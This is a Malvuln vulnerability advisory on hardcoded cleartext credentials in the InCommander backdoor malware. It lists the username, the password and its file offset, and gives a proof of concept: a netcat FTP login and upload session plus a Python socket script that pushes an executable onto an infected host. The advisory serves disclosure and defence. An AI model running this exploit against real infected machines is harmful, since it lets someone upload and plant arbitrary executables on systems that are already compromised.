Headline
Backdoor.Win32.InCommander.17.b MVID-2022-0665 Hardcoded Credentials
Backdoor.Win32.InCommander.17.b malware suffers from a hardcoded credential vulnerability.
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022Original source: https://malvuln.com/advisory/dd76d8a5874bf8bf05279e35c68449ca.txtContact: [email protected]: twitter.com/malvulnBackup media: infosec.exchange/@malvulnThreat: Backdoor.Win32.InCommander.17.bVulnerability: Hardcoded Cleartext CredentialsFamily: InCommanderType: PE32MD5: dd76d8a5874bf8bf05279e35c68449caVuln ID: MVID-2022-0665Dropped files: incsrv.exeDisclosure: 12/14/2022Description: The malware listens on TCP port 9400 and 9401 and requires authentication. However, the username "IncUser-b3" is stored in cleartext in a file named "incsrv.drv" under Windows dir. The password "InClientMainPassword" is also stored in cleartext but within the PE file "incsrv.exe" at offset 000958d0.Third-party adversaries may then upload thier own executables using ftp PASV, STOR commands.Exploit/PoC:C:\>nc64.exe 192.168.18.125 9401220 InCommad FTP Server ready.USER IncUser-b3331 Password required for IncUser-b3.PASS InClientMainPassword230 User IncUser-b3 logged in.SYST215 UNIX Type: L8 Internet Component SuitePASV227 Entering Passive Mode (192,168,18,125,241,155).CDUP \250 CWD command successful. "C:/" is current directory.STOR DOOM_SM.exe150 Opening data connection for DOOM_SM.exe.226 File received okfrom socket import *MALWARE_HOST="192.168.18.125"PORT=61851DOOM="DOOM_SM.exe"def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) f = open(DOOM, "rb") EXE = f.read() s.send(EXE) while EXE: s.send(EXE) EXE=f.read() s.close() print("By Malvuln");if __name__=="__main__": doit()Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).